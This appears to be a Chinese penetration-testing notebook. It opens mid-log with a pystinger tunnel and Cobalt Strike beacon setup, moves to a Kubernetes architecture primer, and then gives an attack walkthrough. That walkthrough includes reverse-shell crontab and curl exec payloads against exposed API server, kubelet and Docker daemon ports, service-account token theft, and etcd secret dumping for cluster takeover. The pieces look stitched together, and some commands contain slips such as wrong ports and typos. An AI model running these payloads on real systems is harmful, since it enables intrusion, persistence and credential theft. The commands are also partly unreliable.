INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to acceptcobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)生成payload,上传到主机运行后即可上线横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线定制Header及proxy如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头--header "Authorization: XXXXXX,Cookie: XXXXX"如果webshell需要通过代理访问,可通过--proxy设置代理--proxy "socks5:127.0.0.1:1081"测试攻击机:192.168.1.89假设我们在拿下一台目标主机,但是无法连接外网。使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。首先上传对应版本脚本到目标服务器。将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端把 stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。chmod +x stinger_client ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。永远相信 永远热爱
一、云云的定义看似模糊,但本质上,它是一个用于描述全球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的全球远程服务器网络,它们连接在一起,旨在作为单一的生态系统运行。这些服务器设计用于存储和管理数据、运行应用程序,或者交付内容/服务(如视频短片、Web 邮件、办公室生产力软件或社交媒体)。不是从本地或个人计算机访问文件和数据,而是通过任何支持 Internet 的设备在线访问 - 这些信息在必要时随时随地可用。企业采用 4 种不同的方法部署云资源。存在一个公有云,它通过 Internet 共享资源并向公众提供服务;一个私有云,它不进行共享且经由通常本地托管的私有内部网络提供服务;一个混合云,它根据其目的在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。《云是什么- 定义 - Microsoft Azure》二、何为k8sk8s即Kubernetes。其为google开发来被用于容器管理的开源应用程序,可帮助创建和管理应用程序的容器化。用一个的例子来描述:”当虚拟化容器Docker有太多要管理的时候,手动管理就会很麻烦,于是我们便可以通过k8s来简化我们的管理”0x00 K8S 架构简述我们在上文已经知道,K8S是用于管理虚拟化容器的一个应用系统,在这小节中会着重讲述K8S的架构、实现原理。下图为K8S架构的概览:kubectl 是 k8s 的客户端工具,可以使用命令行管理集群k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点进行控制管理,一个k8s集群中至少要有一台master节点。Master节点中包含很多的组件,主要为如下etcd :它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes API服务器可以访问它,因为它可能具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。 简而言之:存储节点信息API server :Kubernetes是一个API服务器,它使用API在集群上提供所有操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开Kubernetes API 。简而言之:读取与解析请求指令的中枢Controller Manage :该组件负责调节群集状态并执行任务的大多数收集器。通常,可以将其视为在非终止循环中运行的守护程序,该守护程序负责收集信息并将其发送到API服务器。它致力于获取群集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同类型的控制器来处理节点,端点等。 简而言之:维护k8s资源Scheduler :这是Kubernetes master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪群集节点上工作负载的利用率,然后将工作负载放在可用资源上并接受该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调度程序负责工作负载利用率,并将Pod分配给新节点。 简而言之:负载均衡调度器Node节点也包含了很多组件,主要如下Docker :Docker引擎,运行着容器的基础环境kubelet :在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。kube-proxy :代理服务,用于负载均衡,在多个pod之间做负载均衡fluentd :日志收集服务pod :pod是k8s的最小服务单元,pod内部才是容器,k8s通过操作pod来操作容器。一个Node节点可以有多个PodPod可以说是Node节点中最核心的部分,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中往往会装载多个容器,这些容器共用一个虚拟环境,共享着网络和存储等资源。这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。0x01 K8S工作流程用户端命令下发通常流程如下:kubectl向apiserver发送部署请求(例如使用 kubectl create -f deployment.yml)apiserver将 Deployment 持久化到etcd;etcd与apiserver进行一次http通信。controller manager通过watch api监听 apiserver ,deployment controller看到了一个新创建的deplayment对象更后,将其从队列中拉出,根据deployment的描述创建一个ReplicaSet并将 ReplicaSet 对象返回apiserver并持久化回etcd。接着scheduler调度器看到未调度的pod对象,根据调度规则选择一个可调度的节点,加载到pod描述中nodeName字段,并将pod对象返回apiserver并写入etcd。kubelet在看到有pod对象中nodeName字段属于本节点,将其从队列中拉出,通过容器运行时创建pod中描述的容器。0x02 搭建K8S见《K8S环境搭建.md》0x03 k8S的基础概念https://kuboard.cn/learning/(非常好的中文教程)https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)以下内容来自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html部署(Deployment)Worker节点(即Node)是VM(虚拟机)或物理计算机,充当k8s集群中的工作计算机Deployment 译名为 部署。在k8s中,通过发布 Deployment,可以创建应用程序 (docker image) 的实例 (docker container),这个实例会被包含在称为 Pod 的概念中,Pod 是 k8s 中最小可管理单元。在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 如何创建和更新应用程序的实例,master 节点将应用程序实例调度到集群中的具体的节点上。创建应用程序实例后,Kubernetes Deployment Controller 会持续监控这些实例。如果运行实例的 worker 节点关机或被删除,则 Kubernetes Deployment Controller 将在群集中资源最优的另一个 worker 节点上重新创建一个新的实例。这提供了一种自我修复机制来解决机器故障或维护问题。在容器编排之前的时代,各种安装脚本通常用于启动应用程序,但是不能够使应用程序从机器故障中恢复。通过创建应用程序实例并确保它们在集群节点中的运行实例个数,Kubernetes Deployment 提供了一种完全不同的方式来管理应用程序。相关命令:kubectl 是 k8s 的客户端工具,可以使用命令行管理集群kubectl备忘录:https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/# 查看 Deployment kubectl get deployments # 查看 Pod kubectl get pods #根据yaml文件部署 kubectl apply -f nginx-deployment.yaml一个yaml文件差不多就长这样: (nginx-deployment.yaml)apiVersion: apps/v1 #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment #该配置的类型,我们使用的是 Deployment metadata: #译名为元数据,即 Deployment 的一些基本属性和信息 name: nginx-deployment #Deployment 的名称 labels: #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解 app: nginx #为该Deployment设置key为app,value为nginx的标签 spec: #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用 replicas: 1 #使用该Deployment创建一个应用程序实例 selector: #标签选择器,与上面的标签共同作用,目前不需要理解 matchLabels: #选择包含标签app:nginx的资源 app: nginx template: #这是选择或创建的Pod的模板 metadata: #Pod的元数据 labels: #Pod的标签,上面的selector即选择包含标签app:nginx的Pod app: nginx spec: #期望Pod实现的功能(即在pod中部署) containers: #生成container,与docker中的container是同一种 - name: nginx #container的名称 image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container,该container默认80端口可访问POD与NodePod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些 container (容器)的一些共享资源。这些资源包括:共享存储,称为卷(Volumes),即图上紫色圆柱网络,每个 Pod(容器组)在集群中有个唯一的 IP,pod(容器组)中的 container(容器)共享该IP地址container(容器)的基本信息,例如容器的镜像版本,对外暴露的端口等POD是集群上最基础的单元下图中的一个 Node(节点)上含有4个 Pod(容器组)Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的计算机,可以是虚拟机或物理机。每个 Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个 Node(节点)上可用资源的情况,自动调度 Pod(容器组)到最佳的 Node(节点)上。一个Node节点的状态大致有以下的东西Addresses :地址Conditions :状况(conditions 字段描述了所有 Running 节点的状态)Capacity and Allocatable :容量与可分配,描述节点上的可用资源:CPU、内存和可以调度到节点上的 Pod 的个数上限。Info :关于节点的一般性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系统名称。这些信息由 kubelet 从节点上搜集而来。HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地址。InternalIP:通常是节点的仅可在集群内部路由的 IP 地址。Ready 如节点是健康的并已经准备好接收 Pod 则为 True;False 表示节点不健康而且不能接收 Pod;Unknown 表示节点控制器在最近 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息DiskPressure为True则表示节点的空闲空间不足以用于添加新 Pod, 否则为 FalseMemoryPressure为True则表示节点存在内存压力,即节点内存可用量低,否则为 FalsePIDPressure为True则表示节点存在进程压力,即节点上进程过多;否则为 FalseNetworkUnavailable为True则表示节点网络配置不正确;否则为 False相关命令:#获取类型为Pod的资源列表 kubectl get pods #获取类型为Node的资源列表 kubectl get nodes # kubectl describe 资源类型 资源名称 #查看名称为nginx-XXXXXX的Pod的信息 kubectl describe pod nginx-XXXXXX #查看名称为nginx的Deployment的信息 kubectl describe deployment nginx #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志 kubectl logs -f podname #在Pod中运行命令 kubectl exec -it nginx-pod-xxxxxx /bin/bash服务(Service)https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-概述通过以上内容我们知道,应用程序所在的Pod是一直变动着的,而每个Pod的ip又不一样,但是对于前端用户来说,应用程序的访问地址应该是唯一的才行。因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是Service。Service为一系列有相同特征的Pod(一个应用的Pod在不停变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个统一的访问方式,Service是通过标签选择器(LabelSelector)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不仅仅局限于Pod) 可以编成一个容器组的。Service有三种选项暴露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调整:ClusterIP(默认)在群集中的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到NodePort 使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中任意节点+端口号的方式访 问服务 <NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍然可用。LoadBalancer 在云环境中(需要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地址作为 服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍然可用。下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将请求转发到 IP 为 10.10.10.1 的Pod上, Service B 将请求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。Service 将外部请求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes 可以在不影响服务调用者的情况下,动态调度容器组(在容器组失效后重新创建容器组,增加或者减少同一个 Deployment 对应容器组的数量等)。在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod伸缩(Scaling)应用程序可以通过更改deployment配置文件中的replicas项来设置开启的POD数量在前面,我们创建了一个 Deployment,然后通过 服务提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod 来运行我们的应用程序。当流量增多导致应用程序POD负载加重后,我们需要对应用程序进行伸缩操作,增加POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发。伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中部署的 replicas(副本数)来完成spec: replicas: 2 #使用该Deployment创建两个应用程序实例执行滚动更新(Rolling Update)当我们想对已经部署的程序进行升级更新,但又不想让程序停止,就可以使用滚动更新来实现。滚动更新通过使用新版本的POD逐步替代旧版本POD来实现零停机更新滚动更新是K8S默认的更新方式0x04 k8s用户Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,或者通过 API 调用手动创建。Service account 关联了一套凭证,存储在 Secret,这些凭证同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。(service account的利用见k8s安全部分)Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、甚至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。0x05 k8s访问控制过程(安全机制)详细内容参考笔记《k8s访问控制过程(安全机制).md》k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证 + 鉴权以及准入控制。三种机制:认证:Authentication,即身份认证。检查用户是否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。鉴权:Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式准入控制:Admission Control。请求的最后一个步骤,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安全是否合规等。一般使用admission webhooks来实现注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权k8s认证X509 client certs客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。user 生成 kubeconfig就是X509 client certs方式。Service Account Tokens因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树中,位于/var/run/secrets/kubernetes.io/serviceaccount/tokenservice account 主要包含了三个内容:namespace、token 和 canamespace: 指定了 pod 所在的 namespacetoken: token 用作身份验证ca: ca 用于验证 apiserver 的证书k8s鉴权K8S 目前支持了如下四种授权机制:NodeABACRBACWebhook具体到授权模式其实有六种:基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。AlwaysDeny阻止所有请求。仅将此标志用于测试。AlwaysAllow允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。三、K8S攻击矩阵CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。https://github.com/cdk-team/CDK下图是K8S的一些攻击矩阵本文就围绕着这个框架,叙述一些有用的攻击手法吧0x00 k8s环境中的信息收集信息收集与我们的攻击场景或者说进入的内网的起点分不开。一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限的容器和物理主机内网。在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico主要存在4种类型的通信:同一Pod内的容器间通信各Pod彼此间通信Pod与Service间的通信集群外部的流量与Service间的通信当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。k8s常用端口在k8s环境中,内网探测可以高度关注的端口: (各端口的渗透在下面会展开)kube-apiserver: 6443, 8080 kubectl proxy: 8080, 8081 kubelet: 10250, 10255, 4149 dashboard: 30000 docker api: 2375 etcd: 2379, 2380 kube-controller-manager: 10252 kube-proxy: 10256, 31442 kube-scheduler: 10251 weave: 6781, 6782, 6783 kubeflow-dashboard: 80800x01 初始访问1、云账号AK泄露在如今的云的大环境下,许多业务代码想要与云服务进行通信,就需要通过accesskey这个东西进行鉴权,鉴权通过后才能与云服务进行通信。通俗来讲,人想要访问一个服务,往往需要提供密码来进行身份验证;而代码想要访问一个云服务API,则需要提供accesskey来进行身份验证。如果accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell回来作为入口点慢慢往内打。下面文章是关于云原生安全中accesskey安全更加详细的论述,阅读后可以对accesskey的概念有更深入的了解。https://www.freebuf.com/articles/web/287512.htmlhttps://www.freebuf.com/articles/web/255717.html2、恶意镜像在docker中,容器的建立依赖于镜像,如果pull得到的镜像是一个恶意镜像,或者pull得到的镜像本身就存在安全漏洞,便会带来安全风险下图便是dockerhub上部署挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件进行挖矿3、API Server未授权(8080,6443)属于是K8S中的经典漏洞了回顾一下API Server的作用,它在集群中被用于提供API来控制集群内部,如果我们能控制API Server,就意味着我们可以通过它利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权(关于磁盘挂载获取节点shell的技术在后面的小节中再进行详细论述)。API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。insecure-port 开启API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击。但是利用API Server的8080端口进行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置项,那就启动了非安全端口,有了安全风险。注:1.20版本后该选项已无效化环境前提:step1:进入cd /etc/kubernetes/manifests/ step2: 修改api-kube.conf 添加- -–insecure-port=8080 添加- -–insecure-bind-address=0.0.0.0 Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代重启服务systemctl daemon-reload systemctl restart kubelet在实际环境中,因为8080端口相对比较常见,导致在内部排查常常忽略这个风险点。利用环境信息:一个集群包含三个节点,其中包括一个控制节点和两个工作节点K8s-master 192.168.11.152K8s-node1 192.168.11.153K8s-node2 192.168.11.160攻击机kali192.168.11.128直接访问 8080 端口会返回可用的 API 列表:使用kubectl可以指定IP和端口调用存在未授权漏洞的API Server。如果没有kubectl,需要安装kubectl,安装可以参考官网文档:在 Linux 上安装 kubectl在 macOS 上安装 kubectl在 Windows 上安装 kubectl使用kubectl获取集群信息:kubectl -s ip:port get nodes注:如果你的kubectl版本比服务器的高,会出现错误,需要把kubectl的版本降低.接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:apiVersion: v1 kind: Pod metadata: name: test spec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。kubectl -s 192.168.11.152:8080 create -f test.yaml kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash写入反弹 shell 的定时任务echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab稍等一会获得node02节点权限:或者也可以通过写公私钥的方式控制宿主机。如果apiserver配置了dashboard的话,可以直接通过ui界面创建pod。secure-port 配置错误若我们不带任何凭证的访问 API server的 secure-port端口,默认会被服务器标记为system:anonymous用户。一般来说system:anonymous用户权限是很低的,但是如果运维人员管理失当,把system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)利用方法一kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes #(192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码,随便乱输就行正常情况应该是这样但如果secure-port 配置失当出现了未授权,就会这样方法二利用cdk工具通过"system:anonymous"匿名账号尝试登录./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"创建特权容器:之后的攻击方式和上面是一样的4、k8s configfile 泄露k8s configfile配置文件中可能会有api-server登陆凭证等敏感信息,如果获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。这里引用阿里云社区的一张图5、容器内部应用漏洞入侵顾名思义,容器内部应用就有问题(比如内部应用是tomcat,且有RCE漏洞),从而就会导致黑客获取Pod shell,拿到入口点6、docker.sock 利用Docker以server-client的形式工作,服务端叫Docker daemon,客户端叫docker client。Docker daemon想调用docker指令,就需要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。同时,Docker daemon也可以通过配置将docker.sock暴露在端口上,一般情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。公网暴露(2375)(Docker Daemon)如果docker daemon 2375端口暴露在了公网上,那么便可以直接利用该端口控制docker容器,并通过新建容器配合磁盘挂载技术获取宿主机权限。fofa搜索server="Docker" && port="2375"可以发现有很多暴露在公网的docker.sock,我们选一个来试试水可以发现是成功的调用了API查询了容器状态然后我们可以通过如下指令,在指定容器内部执行命令curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'获取到一个id然后请求这个id,执行此命令curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"就像这样:(图片引用自freebuf)直接利用现成的docker.sock如果我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。把上一小节的命令改改就行,加一个—unix-socket参数。curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}' curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"一般来说docker.sock是存在于docker daemon服务端的,但如果开发人员想在docker容器里运行docker命令,就需要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。实战案例Docker Daemon未授权访问的检测与利用:#探测是否访问未授权访问 curl http://192.168.238.129:2375/info docker -H tcp://192.168.238.129:2375 info #推荐使用这种方式,操作方便。 export DOCKER_HOST="tcp://192.168.238.129:2375"Docker Daemon未授权实战案例:7、kubelet 未授权(10250/10255)危害:可以直接控制该node下的所有pod检索寻找特权容器,获取 Token如果能够从pod获取高权限的token,则可以直接接管集群。kubelet和kubectl的区别?kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml 我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)。在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会显示认证不通过我们将配置文件中,authentication-anonymous-enabled改为true,authorization-mode改为AlwaysAllow,再使用命令systemctl restart kubelet 重启kubelet,那么就可以实现kubelet未授权访问关于authorization-mode还有以下的配置:--authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。 --authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。 --authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。 --authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。 --authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。 --authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。在我们发现kubelet未授权后,可以进行以下操作拿到入口点执行Pod内命令如果有kubelet未授权,那就可以用以下命令在Pod内执行命令curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"其中的参数可以从https://node_ip:10250/pods 中获取metadata.namespace 下的值为 namespacemetadata.name下的值为 pod_namespec.containers下的 name 值为 container_name可以直接回显命令结果,很方便获取容器内service account凭据如果能在Pod内执行命令,那么就可以获取Pod里service account的凭据,使用Pod上的service account凭据可以用来模拟Pod上的服务账户进行操作,具体利用方法见下面的小节:[利用Service Account连接API Server执行指令](#利用Service Account连接API Server执行指令)利用示例环境信息:一个集群包含三个节点,其中包括一个控制节点和两个工作节点K8s-master 192.168.11.152K8s-node1 192.168.11.153K8s-node2 192.168.11.160攻击机kali192.168.11.128访问https://192.168.11.160:10250/pods,出现如下数据表示可以利用:想要在容器里执行命令的话,我们需要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。metadata.namespace 下的值为 namespacemetadata.name下的值为 pod_namespec.containers下的 name 值为 container_name这里可以通过检索securityContext字段快速找到特权容器在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时其实是底层通过证书认证的方式调用Kubernetes API)token 默认保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/tokencurl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods接下来便是通过创建pod来挂载目录,然后用crontab来获得shell了 。8、etcd 未授权(2379)etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。如果2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api server接管集群。etcd有v2和v3两个版本,k8s用的是v3版本,所以我们在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。我们想要利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它https://github.com/etcd-io/etcd/releases/“在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客”——爱奇艺安全应急响应中心利用下载etcd:https://github.com/etcd-io/etcd/releases解压后在命令行中进入etcd目录下。etcdctl api版本切换:export ETCDCTL_API=2 export ETCDCTL_API=3探测是否存在未授权访问的Client APIetcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only如果我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。我们需要将以下文件加入环境变量(ca,key,cert)才能访问(如果有未授权,那么不用带证书都能访问)export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key或者直接执行:etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health查询管理员token我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/如果查询结果有敏感账户,我们便可以去获取他的tokenetdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712拿到token以后,用kubectl接管集群kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods也可以尝试dump etcd数据库,然后去找敏感信息ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verifyETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix 